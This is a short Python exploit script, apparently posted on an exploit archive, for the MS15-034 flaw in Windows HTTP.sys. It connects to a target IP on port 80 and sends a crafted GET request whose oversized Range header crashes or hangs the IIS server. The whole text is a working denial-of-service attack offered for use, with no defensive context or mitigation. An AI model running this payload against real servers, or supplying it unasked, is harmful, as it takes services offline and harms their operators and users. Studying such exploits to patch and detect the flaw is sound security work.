Microsoft Window (HTTP.sys) HTTP Request Parsing DoS (MS15-034)

#Tested on Win Srv 2012R2.
import socket,sys
  
if len(sys.argv)<=1:
 sys.exit('Give me an IP')
 
Host = sys.argv[1]
 
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
 
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
 
SendPayload(Init, Host)
SendPayload(Payload, Host)

#  0day.today [2018-04-08]  #